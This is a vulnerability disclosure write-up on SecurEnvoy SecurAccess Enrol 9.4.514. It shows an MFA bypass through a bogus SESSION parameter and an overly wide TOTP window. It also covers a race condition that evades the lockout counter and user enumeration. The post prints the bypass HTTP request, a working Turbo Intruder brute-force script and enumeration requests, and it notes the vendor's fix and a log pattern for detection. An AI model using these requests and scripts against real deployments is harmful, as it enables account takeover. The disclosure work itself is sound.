Probabilistically breaking SecurEnvoy TOTP
Introduction
During a review of Shearwater Group PLC’s SecurEnvoy SecurAccess Enrol 9.4.514 (June 2024), I discovered multiple bugs and a deviation from the TOTP RFC that significantly weakens its authentication model.
Together, these bugs enable a practical attack that can be carried out by an unauthenticated attacker over the internet. It allows an attacker to have better-than-even odds of compromising at least one user account when targeting 83 users in total.
In this context, “compromising” means taking control of a user’s 2FA, which can then be leveraged to reset their password when SecurAccess password is deployed.
I disclosed these vulnerabilities to SecurEnvoy and on March 14, 2025 they officially released version 9.4.515 to address these bugs1.
About
The SecurAccess app suite features a Microsoft IIS server that maps various HTTP request paths to the corresponding binaries using the CgiModule handler. These binaries are written in C# using the .NET framework.
Reviewing existing bugs
Previously, SecurAccess apps were found to be vulnerable for LDAP injection, path traversals, XSS, CSRF, and then there are some CVEs related to secrets disclosed in internal logs. The LDAP injection and path traversals seem most impactful from a remote attacker perspective.
LDAP Injection
Recently, a blind LDAP injection was discovered in securectrl that can be used to retrieve sensitive data. This is quite powerful, because LDAP user attributes such as telexnumber
are used by the application to store MFA-related secrets.
Path Traversals
A favourable file write can most-likely be escalated to remote code execution (for example, through a webshell).
After reversing the app, I believe that a file read presents a powerful primitive too.
.\SecurEnvoy\Security Server\config.db
stores the (encoded) symmetrically encrypted secret data that is used to generate, and validate, session cookie HMACs.
The file is encrypted with AES-256-CBC, which can be decrypted if you reverse the encryption parameters, therefore it offers nothing but obfuscation of the secret itself.
The secret data itself is: ~ || SHA256(hardcoded constant || 16 digits || install time)
. As there are some methods to make accurate guesses about the install time, I don’t think it provides much entropy.
The 16 digits on the other hand are generated with help of the CSRNG RandomNumberGenerator.Create().GetNonZeroBytes()
.
Even with a little bias, cracking these digits over the network (by testing MANY cookies) seems infeasible. Therefore, a file read (or write) allows for a more practical attack that enables forging session cookies.
Forging session cookies provides access to modify sensitive user authentication data (e.g. change TOTP seeds, passwords, etc). Additionally, all SecurAccess apps seem to read this file and use the same mechanism to derive the HMAC secret. This means that one arbitrary file read would translate to arbitrary user access across all deployed SecurAccess services.
Getting started
I started by decompiling the latest version of the enrol application using dnSpy.
As we’re dealing with CGI apps, the spawned processes are shortlived, leaving little to no time to attach a debugger during program execution. AFAIK, dnSpy doesn’t support attaching to child processes automatically either, which would’ve been nice because then we could’ve started debugging directly from the correct IIS worker. To overcome these limitations, I patched the .NET IL to introduce an (artificial) while-loop. This provides time to attach to the spawned process and break the while-loop using a debugger. There must be more elegant methods to do this, but this does the trick. As the binaries are ngen’d, it means that after patching the binary on disk, the native image cache needs to be reloaded too. For example like this:
1ngen uninstall "C:\path\to\patched\binary.exe"
2ngen install "C:\path\to\patched\binary.exe"
I began with creating functionally equivalent implementations of some of the crypto that was involved (such as the encryption of config.db
, TOTP derivation from a secret seed, etc.).
This helped me understand the application workings, and as a by-product it allowed me test some stuff more efficiently later on.
In this process, I learned that their default TOTP generation implementation is slightly different than others. As a result, SecurEnvoys codes seem to be incompatible (by default) with other “more standard” TOTP generator apps.
Bugs/chain
1. CVE-2025-30236: “MFA” bypass
To authenticate successfully through the default portal, the app follows a two-step process:
- it requests a username and password combination;
- after validation, it requests the corresponding TOTP token.
If the last step (TOTP) is also correct, then the user is succesfully authenticated.
Since these are two ‘independent’ HTTP requests, the client needs to prove to the server that it successfully passed the first step (e.g. by passing some sort of secure verifiable state).
This mechanism is implemented in the form of a SESSION
parameter.
However, it turns out that the actual verification of the state is not actually enforced. Let’s look at the decompiled code in enrol Module1
, note that I cleaned it up a bit (changed variable names and structure) for readability:
1private static bool authenticate(string sPost) {
2 // prologue ...
3 string[] kv_array = Strings.Split(sPost, "&", -1, 0);
4 foreach (string kv in kv_array) {
5 key = Strings.Left(kv, Strings.InStr(kv, "=", 0) - 1);
6 val = Strings.Mid(kv, Strings.InStr(kv, "=", 0) + 1);
7
8 if (Operators.CompareString(key, "SESSION", false) == 0) {
9 Module1.auth.sSessionKey = Module1.seURLDecode(val);
10 Module1.auth.bRealTimePostChallenge = true; // [0]
11 }
12 // handle userid, PASSWORD, PASSCODE and VERSION similarly.
13 }
14
15 // query ldap for associated user data (includes failed auth count).
16 this.seldap.sUserID = this.sUserID;
17 this.sUserData = this.seldap.getldapuser(); // [1]
18
19 // if user data reflects that the user is disabled, return False.
20
21 string aa_result = Module1.auth.auth(); // [2]
22 // set bAuthOk conditionally on aa_result.
23
24 string uu_result = this.updateuser(this.sUserData, bAuthOk, // [3]
25 bSendPassCode, sMobile, sPCodeToLock);
26
27 // if aa_result is acceptable, return True and yield a valid cookie.
28}
29
30public string auth() {
31 // ...
32 if (this.bUseTwoStepAuthentication
33 & this.bRealTimePostChallenge
34 & this.envm.bRealTimePINFirst) {
35 bool step_1_authenticated = true; // [4]
36 }
37 // proceed with the authentication flow...
38}
The implementation skips the password check entirely after [4] if the session HTTP parameter is provided at [0]. In other words, this HTTP request effectively turns MFA into SFA:
1POST /secenrol/enrol.exe HTTP/1.1
2Host: securenvoy.lab.remote
3Origin: http://securenvoy.lab.remote
4Content-Type: application/x-www-form-urlencoded
5Connection: keep-alive
6Content-Length: 46
7
8SESSION=bogusdata&userid=user1&PASSCODE=123456
Note that PASSCODE
is the (unknown) TOTP.
As we can bypass the password, for each user, the search space is now constrained to [0, 999999].
We just need that… one in a million (♫ it goes on, and on, and on ♪).
… Or maybe we can do better.
2. Deviation from RFC6238
Let’s take a look at what TOTP codes and which ones are considered valid by the app.
RFC 6238 - TOTP §5.2 states, among other things:
- We RECOMMEND that at most one time step is allowed as the network delay.
- We RECOMMEND a default time-step size of 30 seconds.
It turns out that the TOTP checks in SecurEnvoy’s implementation are quite lax/permissive. At any point in time, it will not only consider the current TOTP code to be perfectly valid, but also the ones generated in the window ranging from 5 minutes before and 5 minutes ahead. This is to (generously) accompany for clock drift and delay.
The default time step is set to the recommended 30 seconds.
Practically, this means that 21 valid TOTPs will be correct at any given moment2. These 21 TOTPs are completely “renewed” every 10.5 minutes.
3. CVE-2025-30235: Race condition to undermine the failed authentication counter
In default configurations, 10 incorrect authentication attempts cause a user to get disabled in SecurEnvoy (not in AD). However, in the code snippet above, between [1] and [3], a lot of code gets executed, for example in auth.auth()
[2]. Naturally, this takes up (CPU) time.
In case of an authentication failure, the function updateuser()
[3] will increment the failed counter based on the earlier [1] received data from LDAP.
Now, it should also be considered that multiple authentication attempts can reach the web server around the same time. And when that happens, the system will start processing these concurrently.
Using BurpSuite Turbo Intruder, 100 HTTP requests can consistently arrive at the remote web server around the same time. In practice, I measure that in processing the multiple HTTP requests, at most 1 of the spawned processes reaches [3] before the final one reaches [1]. Therefore, instead of counting (and handling) 100 authentication attempts, the application records at most 2.
For HTTP/1.* (which is what the enrol application supports), the “last-byte sync” method can be used to make many HTTP requests reach the server at the same time. This method first sends out 99.9% of all HTTP DATA out over TCP (for all requests), and then just sends the final byte (the line feed) for each connection to complete the HTTP requests. Only after the full HTTP request has been received, the IIS webserver executes the CGI app. Furthermore, in scenarios where an HTTP/2 downgrading reverse proxy (potentially a WAF) is placed in front of the application, one can also use the single packet attack and related ones.
Here’s a working exploit script that uses Turbo Intruder. Set the markers in the body of the HTTP request as follows: SESSION=bogusdata&userid=%s&PASSCODE=%s
.
You can set START_PIN
to anything as long as the range of computed pin
s stays below a million- it doesn’t really matter, though technically, it does matter a tiny bit3.
1def queueRequests(target, wordlists):
2 USERLIST = '/home/attacker/users.txt'
3
4 BATCH_SIZE = 100
5 ROUNDS = 4
6 START_PIN = 302000
7
8 # consider using Engine.BURP2 if the target supports an H2 reverse proxy.
9 engine = RequestEngine(endpoint=target.endpoint,
10 concurrentConnections=(BATCH_SIZE*2), engine=Engine.BURP)
11
12 for word in open(USERLIST):
13 username = word.rstrip()
14
15 # effectively make 4 * 100 attempts that count as ≤(4*2) attempts.
16 for round in range(ROUNDS):
17 START_PIN_ROUND = START_PIN+(BATCH_SIZE*round)
18 for i in range(START_PIN_ROUND, START_PIN_ROUND+BATCH_SIZE, 1):
19 pin = str(i).zfill(6)
20 engine.queue(target.req, [username, pin], gate='race1')
21 time.sleep(1)
22 engine.openGate('race1')
23 time.sleep(5)
24
25def handleResponse(req, interesting):
26 UNSUCCESSFUL = 'SecurEnvoyPin= ;'
27
28 table.add(req)
29
30 # request contains a valid cookie; this user can be compromised.
31 if UNSUCCESSFUL not in req.response:
32 print 'success, aborting attack.'
33 req.engine.cancel()
In case of success, we find the right value (in the image below it’s 302130
for user5
) and the webserver returns a session cookie that provides access to the user’s account.
This session cookie allows an attacker to compromise the user account.
The experiments were conducted over the internet, to a GCE N1-standard-8 VM. This machine features 8 vCPUs (Intel Xeon CPU @ 2GHz)4 and runs Windows Server 2022 21H2. In this experiment, while 400 login attempts were sent per user, the app recorded 5 attempts at most.
Obviously, mileage may vary based on network conditions (jitter) and server resources.
4. User Enumeration
Before starting, an attacker would want to confirm which users exist and are managed by SecurAccess enrol.
I discovered a few HTTP responses that will differ based on whether an enrolled user exists or not. Here is one example that doesn’t produce app logs and convienently reports the application’s product version too:
1GET /secenrol/enrol.exe?OneswipeOnline=8000&ACTION=REGISTER&USERID=user1&PLATFORM=IOS HTTP/1.1
2Host: securenvoy.lab.remote
3Origin: http://securenvoy.lab.remote
4Content-Type: application/x-www-form-urlencoded
5Connection: keep-alive
Furthermore, one can find many timing-based username enumeration vulnerabilities. These occur because the application may or may not perform additional processing depending on whether a user actually exists (in other words, a side-channel). By measuring response times one can find a lower bound for existing and managed users. If you then query for a new user a few times, and the response time is lower (faster), you can infer that the user can not exist- because otherwise the application would have taken up more processing time.
You can also visually observe this when plotting the response times over the internet; it shows a clear bimodal distribution.
Basic probability theory
In the previous section, we demonstrated that the attack was successful in practice, but we haven’t quantified its success rate yet. Let’s reason and combine those earlier numbers into a meaningful and practical figure.
Basic probabilities:
I assume that this HMAC-SHA1 TOTP, when using an unknown secret key, produces codes that are uniformly distributed across all possible values. This is a reasonable assumption (and if it weren’t, we would probably be able to get an even more powerful attack).
- Success probability per try2: 21/1,000,000 = 0.000021
- Failure probability per try: 1 - 0.000021 = 0.999979
Single user attack:
It is undesirable to perform ≥10 attempts because this will disable the account. Therefore, using the race condition, perform 4*100=400 attempts, which will count as only ≤8 failed attempts. All attempts should test unique codes.
- P(all attempts against user fail) = (0.999979)^400 ≈ 0.99164
Multi-user attack:
Multiple (u) users can be attacked in parallel.
- P(fail against all users) = P(all attempts against user fail)^u
- P(success against at least one user) = 1 - P(fail against all users)
Solving for required users:
To find the number of users (u) needed for ≥50% success rate we solve:
- 1 - (0.99164)^u ≥ 0.5 ⇒
- (0.99164)^u ≤ 0.5 ⇒
- u ≥ ⌈log(0.5) / log(0.99164)⌉ ⇒
- u ≥ 83
This means that by targeting a set of 83 users, an attacker has better-than-even odds of compromising at least one user account.
Conclusion
Initially, I set out to look for path traversals.
While I did discover a few in SecurAccess, including one that allowed writing to arbitrary files like config.db
, integrating it into a practical exploit chain turned out to be challenging5.
However, I identified other flaws that ultimately came together to form a new, feasible attack.
Is this attack practical?
It is likely that in a default configuration, this method provides access to at least one account if an attacker targets a set of 83 managed users.
Creating a verified list of (managed) target users is trivial. One can collect names, generate corresponding usernames, and test if these are valid using the presented username enumeration vulnerabilities.
So I recommend to update!
Does this attack work over the internet?
The calculation of 83 users is based on conservative figures derived from experiments conducted over the internet. As it involves exploiting a race window, the exact number may vary depending on target-specific network conditions and server resources.
Are these authentication attempts logged / can it be detected?
Yes, search the app logging for message patterns like Incorrect Soft Token Code .*
(where .*
matches any text).
How was the disclosure process?
Before I disclosed the vulnerabilities, SecurEnvoy informed me that they do not operate a bug bounty program or offer monetary rewards for reporting security vulnerabilities. I firmly believe that responsible and mature vendors of commercial software products should provide meaningful incentives to encourage coordinated vulnerability disclosures. Nonetheless, I disclosed the set of bugs to the vendor on New Year’s Eve 2024.
Throughout the entire process, from disclosure to the public fix, the person I communicated with from SecurEnvoy kept me informed about their progress and timelines. I appreciated this.
-
I haven’t personally verified the completeness and correctness of the fix(es). The release notes specify “Fixed race condition and enumeration in SecurCtrl (security fix)”. ↩︎
-
Theoretically, it is a little bit more nuanced because some of the codes could also overlap, which would lead to less than 21 valid codes. I have verified this and the difference is negligible; it doesn’t affect the final calculated number. ↩︎ ↩︎
-
OK, this is silly, but I found it interesting nonetheless: while looking into RFC6238 (which extends RFC4226 HOTPs), I learned that when guessing TOTPs, it’s best to try numbers up to 483647 at most. Here’s why: there’s a small bit of “modulo bias” in the HOTP algorithm that maps numbers from [0, INT32_MAX] into [0, 10^6]. The number 483647 comes from: ((2^31)-1) % (10^6). RFC4226 mentions this and it also provides the probabilities that these numbers occur in Appendix A. ↩︎
-
Additionally, I performed a test on an under-provisioned VM (1 CPU core, low RAM). I found that some passwords attempts didn’t even get through. The reason? The application implements
CgiRequestBundle.ReadInput()
with a 5-second timeout per byte when reading HTTP POST data. If a byte isn’t read within 5s, e.g. due to the CPU processing many other requests, it aborts reading the request body entirely. Therefore, there’s some DoS potential here, but this is not atypical when resources are under-provisioned. ↩︎ -
In short, the context of the bug made it less valuable and there were some practical challenges. The write contained AES-256 ciphertext encrypted with the unknown secret key stored in the original
config.db
. However,config.db
itself is AES-256 ciphertext that is encrypted with a different, static key. Overwriting it with ciphertext encrypted with a different AES key can lead to corruption, which causes a DoS (which is not what I’m after). A naïve way to still attempt to exploit this is to encrypt different plaintexts, leak the ciphertexts (which is possible by writing to publicly accessible files), then decrypt these with the static AES parameters until one of them decrypts to an acceptableconfig.db
key, and then finally write this ciphertext toconfig.db
and start forging cookies. Two questions that come to mind are: what exactly makes an acceptableconfig.db
key, and what are the odds that we manage to decrypt to one? ↩︎
#SecurEnvoy #TOTP #RFC6238 #web #security #bug #race #probability